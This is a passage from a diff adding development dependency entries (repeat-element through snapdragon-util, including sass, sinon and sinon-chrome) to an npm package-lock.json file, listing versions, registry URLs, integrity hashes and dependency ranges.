+ "node_modules/repeat-element": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/repeat-element/-/repeat-element-1.1.4.tgz",
+ "integrity": "sha512-LFiNfRcSu7KK3evMyYOuCzv3L10TW7yC1G2/+StMjK8Y6Vqd2MG7r/Qjw4ghtuCOjFvlnms/iMmLqpvW/ES/WQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/repeat-string": {
+ "version": "1.6.1",
+ "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz",
+ "integrity": "sha512-PV0dzCYDNfRi1jCDbJzpW7jNNDRuCOG/jI5ctQcGKt/clZD+YcPS3yIlWuTJMmESC8aevCFmWJy5wjAFgNqN6w==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10"
+ }
+ },
+ "node_modules/replace-ext": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/replace-ext/-/replace-ext-2.0.0.tgz",
+ "integrity": "sha512-UszKE5KVK6JvyD92nzMn9cDapSk6w/CaFZ96CnmDMUqH9oowfxF/ZjRITD25H4DnOQClLA4/j7jLGXXLVKxAug==",
+ "dev": true,
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/replace-homedir": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/replace-homedir/-/replace-homedir-1.0.0.tgz",
+ "integrity": "sha512-CHPV/GAglbIB1tnQgaiysb8H2yCy8WQ7lcEwQ/eT+kLj0QHV8LnJW0zpqpE7RSkrMSRoa+EBoag86clf7WAgSg==",
+ "dev": true,
+ "dependencies": {
+ "homedir-polyfill": "^1.0.1",
+ "is-absolute": "^1.0.0",
+ "remove-trailing-separator": "^1.1.0"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/require-directory": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz",
+ "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/require-main-filename": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-1.0.1.tgz",
+ "integrity": "sha512-IqSUtOVP4ksd1C/ej5zeEh/BIP2ajqpn8c5x+q99gvcIG/Qf0cud5raVnE/Dwd0ua9TXYDoDc0RE5hBSdz22Ug==",
+ "dev": true
+ },
+ "node_modules/requires-port": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz",
+ "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==",
+ "dev": true
+ },
+ "node_modules/requizzle": {
+ "version": "0.2.4",
+ "resolved": "https://registry.npmjs.org/requizzle/-/requizzle-0.2.4.tgz",
+ "integrity": "sha512-JRrFk1D4OQ4SqovXOgdav+K8EAhSB/LJZqCz8tbX0KObcdeM15Ss59ozWMBWmmINMagCwmqn4ZNryUGpBsl6Jw==",
+ "dev": true,
+ "dependencies": {
+ "lodash": "^4.17.21"
+ }
+ },
+ "node_modules/resolve": {
+ "version": "1.22.2",
+ "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.2.tgz",
+ "integrity": "sha512-Sb+mjNHOULsBv818T40qSPeRiuWLyaGMa5ewydRLFimneixmVy2zdivRl+AF6jaYPC8ERxGDmFSiqui6SfPd+g==",
+ "dev": true,
+ "dependencies": {
+ "is-core-module": "^2.11.0",
+ "path-parse": "^1.0.7",
+ "supports-preserve-symlinks-flag": "^1.0.0"
+ },
+ "bin": {
+ "resolve": "bin/resolve"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/resolve-dir": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/resolve-dir/-/resolve-dir-1.0.1.tgz",
+ "integrity": "sha512-R7uiTjECzvOsWSfdM0QKFNBVFcK27aHOUwdvK53BcW8zqnGdYp0Fbj82cy54+2A4P2tFM22J5kRfe1R+lM/1yg==",
+ "dev": true,
+ "dependencies": {
+ "expand-tilde": "^2.0.0",
+ "global-modules": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/resolve-from": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz",
+ "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==",
+ "dev": true,
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/resolve-options": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/resolve-options/-/resolve-options-1.1.0.tgz",
+ "integrity": "sha512-NYDgziiroVeDC29xq7bp/CacZERYsA9bXYd1ZmcJlF3BcrZv5pTb4NG7SjdyKDnXZ84aC4vo2u6sNKIA1LCu/A==",
+ "dev": true,
+ "dependencies": {
+ "value-or-function": "^3.0.0"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/resolve-url": {
+ "version": "0.2.1",
+ "resolved": "https://registry.npmjs.org/resolve-url/-/resolve-url-0.2.1.tgz",
+ "integrity": "sha512-ZuF55hVUQaaczgOIwqWzkEcEidmlD/xl44x1UZnhOXcYuFN2S6+rcxpG+C1N3So0wvNI3DmJICUFfu2SxhBmvg==",
+ "deprecated": "https://github.com/lydell/resolve-url#deprecated",
+ "dev": true
+ },
+ "node_modules/ret": {
+ "version": "0.1.15",
+ "resolved": "https://registry.npmjs.org/ret/-/ret-0.1.15.tgz",
+ "integrity": "sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.12"
+ }
+ },
+ "node_modules/reusify": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz",
+ "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==",
+ "dev": true,
+ "engines": {
+ "iojs": ">=1.0.0",
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/rimraf": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
+ "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
+ "dev": true,
+ "dependencies": {
+ "glob": "^7.1.3"
+ },
+ "bin": {
+ "rimraf": "bin.js"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
+ "node_modules/run-parallel": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz",
+ "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/feross"
+ },
+ {
+ "type": "patreon",
+ "url": "https://www.patreon.com/feross"
+ },
+ {
+ "type": "consulting",
+ "url": "https://feross.org/support"
+ }
+ ],
+ "dependencies": {
+ "queue-microtask": "^1.2.2"
+ }
+ },
+ "node_modules/safe-buffer": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
+ "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
+ "dev": true
+ },
+ "node_modules/safe-regex": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/safe-regex/-/safe-regex-1.1.0.tgz",
+ "integrity": "sha512-aJXcif4xnaNUzvUuC5gcb46oTS7zvg4jpMTnuqtrEPlR3vFr4pxtdTwaF1Qs3Enjn9HK+ZlwQui+a7z0SywIzg==",
+ "dev": true,
+ "dependencies": {
+ "ret": "~0.1.10"
+ }
+ },
+ "node_modules/safer-buffer": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
+ "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
+ "dev": true
+ },
+ "node_modules/sass": {
+ "version": "1.43.2",
+ "resolved": "https://registry.npmjs.org/sass/-/sass-1.43.2.tgz",
+ "integrity": "sha512-DncYhjl3wBaPMMJR0kIUaH3sF536rVrOcqqVGmTZHQRRzj7LQlyGV7Mb8aCKFyILMr5VsPHwRYtyKpnKYlmQSQ==",
+ "dev": true,
+ "dependencies": {
+ "chokidar": ">=3.0.0 <4.0.0"
+ },
+ "bin": {
+ "sass": "sass.js"
+ },
+ "engines": {
+ "node": ">=8.9.0"
+ }
+ },
+ "node_modules/sass/node_modules/anymatch": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",
+ "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==",
+ "dev": true,
+ "dependencies": {
+ "normalize-path": "^3.0.0",
+ "picomatch": "^2.0.4"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/sass/node_modules/binary-extensions": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz",
+ "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/sass/node_modules/braces": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
+ "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
+ "dev": true,
+ "dependencies": {
+ "fill-range": "^7.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/sass/node_modules/chokidar": {
+ "version": "3.5.3",
+ "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz",
+ "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "individual",
+ "url": "https://paulmillr.com/funding/"
+ }
+ ],
+ "dependencies": {
+ "anymatch": "~3.1.2",
+ "braces": "~3.0.2",
+ "glob-parent": "~5.1.2",
+ "is-binary-path": "~2.1.0",
+ "is-glob": "~4.0.1",
+ "normalize-path": "~3.0.0",
+ "readdirp": "~3.6.0"
+ },
+ "engines": {
+ "node": ">= 8.10.0"
+ },
+ "optionalDependencies": {
+ "fsevents": "~2.3.2"
+ }
+ },
+ "node_modules/sass/node_modules/fill-range": {
+ "version": "7.0.1",
+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
+ "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
+ "dev": true,
+ "dependencies": {
+ "to-regex-range": "^5.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/sass/node_modules/fsevents": {
+ "version": "2.3.2",
+ "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
+ "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
+ "dev": true,
+ "hasInstallScript": true,
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
+ }
+ },
+ "node_modules/sass/node_modules/glob-parent": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
+ "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+ "dev": true,
+ "dependencies": {
+ "is-glob": "^4.0.1"
+ },
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/sass/node_modules/is-binary-path": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
+ "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
+ "dev": true,
+ "dependencies": {
+ "binary-extensions": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/sass/node_modules/is-number": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.12.0"
+ }
+ },
+ "node_modules/sass/node_modules/readdirp": {
+ "version": "3.6.0",
+ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
+ "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
+ "dev": true,
+ "dependencies": {
+ "picomatch": "^2.2.1"
+ },
+ "engines": {
+ "node": ">=8.10.0"
+ }
+ },
+ "node_modules/sass/node_modules/to-regex-range": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+ "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+ "dev": true,
+ "dependencies": {
+ "is-number": "^7.0.0"
+ },
+ "engines": {
+ "node": ">=8.0"
+ }
+ },
+ "node_modules/saxes": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/saxes/-/saxes-5.0.1.tgz",
+ "integrity": "sha512-5LBh1Tls8c9xgGjw3QrMwETmTMVk0oFgvrFSvWx62llR2hcEInrKNZ2GZCCuuy2lvWrdl5jhbpeqc5hRYKFOcw==",
+ "dev": true,
+ "dependencies": {
+ "xmlchars": "^2.2.0"
+ },
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/schema-utils": {
+ "version": "3.3.0",
+ "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz",
+ "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==",
+ "dev": true,
+ "peer": true,
+ "dependencies": {
+ "@types/json-schema": "^7.0.8",
+ "ajv": "^6.12.5",
+ "ajv-keywords": "^3.5.2"
+ },
+ "engines": {
+ "node": ">= 10.13.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/webpack"
+ }
+ },
+ "node_modules/semver": {
+ "version": "6.3.1",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+ "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+ "dev": true,
+ "bin": {
+ "semver": "bin/semver.js"
+ }
+ },
+ "node_modules/semver-greatest-satisfied-range": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/semver-greatest-satisfied-range/-/semver-greatest-satisfied-range-1.1.0.tgz",
+ "integrity": "sha512-Ny/iyOzSSa8M5ML46IAx3iXc6tfOsYU2R4AXi2UpHk60Zrgyq6eqPj/xiOfS0rRl/iiQ/rdJkVjw/5cdUyCntQ==",
+ "dev": true,
+ "dependencies": {
+ "sver-compat": "^1.5.0"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/serialize-javascript": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.0.tgz",
+ "integrity": "sha512-Qr3TosvguFt8ePWqsvRfrKyQXIiW+nGbYpy8XK24NQHE83caxWt+mIymTT19DGFbNWNLfEwsrkSmN64lVWB9ag==",
+ "dev": true,
+ "dependencies": {
+ "randombytes": "^2.1.0"
+ }
+ },
+ "node_modules/set-blocking": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz",
+ "integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==",
+ "dev": true
+ },
+ "node_modules/set-value": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.1.tgz",
+ "integrity": "sha512-JxHc1weCN68wRY0fhCoXpyK55m/XPHafOmK4UWD7m2CI14GMcFypt4w/0+NV5f/ZMby2F6S2wwA7fgynh9gWSw==",
+ "dev": true,
+ "dependencies": {
+ "extend-shallow": "^2.0.1",
+ "is-extendable": "^0.1.1",
+ "is-plain-object": "^2.0.3",
+ "split-string": "^3.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/shallow-clone": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-3.0.1.tgz",
+ "integrity": "sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^6.0.2"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/shebang-command": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
+ "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
+ "dev": true,
+ "dependencies": {
+ "shebang-regex": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/shebang-regex": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
+ "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/signal-exit": {
+ "version": "3.0.7",
+ "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz",
+ "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==",
+ "dev": true
+ },
+ "node_modules/sinon": {
+ "version": "11.1.2",
+ "resolved": "https://registry.npmjs.org/sinon/-/sinon-11.1.2.tgz",
+ "integrity": "sha512-59237HChms4kg7/sXhiRcUzdSkKuydDeTiamT/jesUVHshBgL8XAmhgFo0GfK6RruMDM/iRSij1EybmMog9cJw==",
+ "dev": true,
+ "dependencies": {
+ "@sinonjs/commons": "^1.8.3",
+ "@sinonjs/fake-timers": "^7.1.2",
+ "@sinonjs/samsam": "^6.0.2",
+ "diff": "^5.0.0",
+ "nise": "^5.1.0",
+ "supports-color": "^7.2.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/sinon"
+ }
+ },
+ "node_modules/sinon-chrome": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/sinon-chrome/-/sinon-chrome-3.0.1.tgz",
+ "integrity": "sha512-NTEFhyuiWEMnRmIqldUiA2DhKn2EqnZxyEk5Ez5rBXj+Nl54aJ0MEmF4wjltrxecxd8zlNLxyE0HyLabev9JsQ==",
+ "dev": true,
+ "dependencies": {
+ "lodash": "^4.16.3",
+ "sinon": "^7.2.3",
+ "urijs": "^1.18.2"
+ }
+ },
+ "node_modules/sinon-chrome/node_modules/@sinonjs/samsam": {
+ "version": "3.3.3",
+ "resolved": "https://registry.npmjs.org/@sinonjs/samsam/-/samsam-3.3.3.tgz",
+ "integrity": "sha512-bKCMKZvWIjYD0BLGnNrxVuw4dkWCYsLqFOUWw8VgKF/+5Y+mE7LfHWPIYoDXowH+3a9LsWDMo0uAP8YDosPvHQ==",
+ "dev": true,
+ "dependencies": {
+ "@sinonjs/commons": "^1.3.0",
+ "array-from": "^2.1.1",
+ "lodash": "^4.17.15"
+ }
+ },
+ "node_modules/sinon-chrome/node_modules/diff": {
+ "version": "3.5.0",
+ "resolved": "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz",
+ "integrity": "sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.3.1"
+ }
+ },
+ "node_modules/sinon-chrome/node_modules/has-flag": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
+ "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==",
+ "dev": true,
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/sinon-chrome/node_modules/nise": {
+ "version": "1.5.3",
+ "resolved": "https://registry.npmjs.org/nise/-/nise-1.5.3.tgz",
+ "integrity": "sha512-Ymbac/94xeIrMf59REBPOv0thr+CJVFMhrlAkW/gjCIE58BGQdCj0x7KRCb3yz+Ga2Rz3E9XXSvUyyxqqhjQAQ==",
+ "dev": true,
+ "dependencies": {
+ "@sinonjs/formatio": "^3.2.1",
+ "@sinonjs/text-encoding": "^0.7.1",
+ "just-extend": "^4.0.2",
+ "lolex": "^5.0.1",
+ "path-to-regexp": "^1.7.0"
+ }
+ },
+ "node_modules/sinon-chrome/node_modules/nise/node_modules/lolex": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/lolex/-/lolex-5.1.2.tgz",
+ "integrity": "sha512-h4hmjAvHTmd+25JSwrtTIuwbKdwg5NzZVRMLn9saij4SZaepCrTCxPr35H/3bjwfMJtN+t3CX8672UIkglz28A==",
+ "dev": true,
+ "dependencies": {
+ "@sinonjs/commons": "^1.7.0"
+ }
+ },
+ "node_modules/sinon-chrome/node_modules/sinon": {
+ "version": "7.5.0",
+ "resolved": "https://registry.npmjs.org/sinon/-/sinon-7.5.0.tgz",
+ "integrity": "sha512-AoD0oJWerp0/rY9czP/D6hDTTUYGpObhZjMpd7Cl/A6+j0xBE+ayL/ldfggkBXUs0IkvIiM1ljM8+WkOc5k78Q==",
+ "dev": true,
+ "dependencies": {
+ "@sinonjs/commons": "^1.4.0",
+ "@sinonjs/formatio": "^3.2.1",
+ "@sinonjs/samsam": "^3.3.3",
+ "diff": "^3.5.0",
+ "lolex": "^4.2.0",
+ "nise": "^1.5.2",
+ "supports-color": "^5.5.0"
+ }
+ },
+ "node_modules/sinon-chrome/node_modules/supports-color": {
+ "version": "5.5.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+ "dev": true,
+ "dependencies": {
+ "has-flag": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/sisteransi": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz",
+ "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==",
+ "dev": true
+ },
+ "node_modules/slash": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
+ "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/snapdragon": {
+ "version": "0.8.2",
+ "resolved": "https://registry.npmjs.org/snapdragon/-/snapdragon-0.8.2.tgz",
+ "integrity": "sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==",
+ "dev": true,
+ "dependencies": {
+ "base": "^0.11.1",
+ "debug": "^2.2.0",
+ "define-property": "^0.2.5",
+ "extend-shallow": "^2.0.1",
+ "map-cache": "^0.2.2",
+ "source-map": "^0.5.6",
+ "source-map-resolve": "^0.5.0",
+ "use": "^3.1.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/snapdragon-node": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/snapdragon-node/-/snapdragon-node-2.1.1.tgz",
+ "integrity": "sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==",
+ "dev": true,
+ "dependencies": {
+ "define-property": "^1.0.0",
+ "isobject": "^3.0.0",
+ "snapdragon-util": "^3.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/snapdragon-node/node_modules/define-property": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
+ "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==",
+ "dev": true,
+ "dependencies": {
+ "is-descriptor": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/snapdragon-node/node_modules/is-accessor-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/snapdragon-node/node_modules/is-data-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/snapdragon-node/node_modules/is-descriptor": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+ "dev": true,
+ "dependencies": {
+ "is-accessor-descriptor": "^1.0.0",
+ "is-data-descriptor": "^1.0.0",
+ "kind-of": "^6.0.2"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/snapdragon-util": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/snapdragon-util/-/snapdragon-util-3.0.1.tgz",
